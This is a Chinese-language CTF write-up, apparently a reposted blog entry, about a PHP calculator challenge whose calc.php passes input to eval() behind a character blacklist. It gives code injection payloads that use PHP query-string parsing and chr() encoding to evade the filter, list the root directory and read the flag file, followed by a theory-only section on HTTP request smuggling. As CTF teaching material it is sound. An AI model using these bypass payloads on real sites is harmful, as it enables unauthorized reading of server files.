目錄
題目:
方法一:
知識點:
分析:
方法二
知識點:
題目:

頁面應該是一個計算器,其他的沒有什么發現,日常查看源代碼:

訪問calc.php,發現原始碼:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
方法一:
知識點:
| m | multi line - 多行匹配 | 使邊界字符 ^ 和 $ 匹配每一行的開頭和結尾,記住是多行,而不是整個字串的開頭和結尾, |
利用PHP的字串決議特性Bypass - FreeBuf網路安全行業門戶
分析:
經測驗,get傳入的num值不能為字母,只是在顯示的代碼里面我們看不見,

但利用php字串決議特性我們可以:
payload:
? num=print_r(scandir(chr(47)));
這里由于單引號被過濾了,那就用chr()繞過,chr(47)就是斜杠/
print_r()可以換成var_dump()
? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
chr(47)='/'
chr(102)='f'
chr(49)='l'
chr(97)='a'
chr(103)='g'
chr(103)='g'
方法二
知識點:
http:Content-Length與Transfer-Encoding
在HTTP協議中,Content-Length用于描述HTTP訊息物體的傳輸長度the transfer-length of the message-body,在HTTP協議中,訊息物體長度和訊息物體的傳輸長度是有區別,比如說gzip壓縮下,訊息物體長度是壓縮前的長度,訊息物體的傳輸長度是gzip壓縮后的長度,
在具體的HTTP互動中,客戶端是如何獲取訊息長度的呢,主要基于以下幾個規則:
回應為1xx,204,304相應或者head請求,則直接忽視掉訊息物體內容,
如果有Transfer-Encoding,則優先采用Transfer-Encoding里面的方法來找到對應的長度,比如說Chunked模式,
“如果head中有Content-Length,那么這個Content-Length既表示物體長度,又表示傳輸長度,如果物體長度和傳輸長度不相等(比如說設定了Transfer-Encoding),那么則不能設定Content-Length,如果設定了Transfer-Encoding,那么Content-Length將被忽視”,
通過服務器關閉連接能確定訊息的傳輸長度,(請求端不能通過關閉連接來指明請求訊息體的結束,因為這樣可以讓服務器沒有機會繼續給予回應),這種情況主要對應為短連接,即非keep-alive模式,
Http協議Content-Length詳解 - 牛哥的博客 - 博客園
https://xz.aliyun.com/t/6654#toc-1
403錯誤是一種在網站訪問程序中,常見的錯誤提示,表示資源不可用,服務器理解客戶的請求,但拒絕處理它,通常由于服務器上檔案或目錄的權限設定導致的WEB訪問錯誤,
輸入字母的時候,會發現顯示403錯誤,


細節暫時還不會,,,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/301680.html
標籤:其他
上一篇:命令注入(OS)
下一篇:內網基礎資訊收集
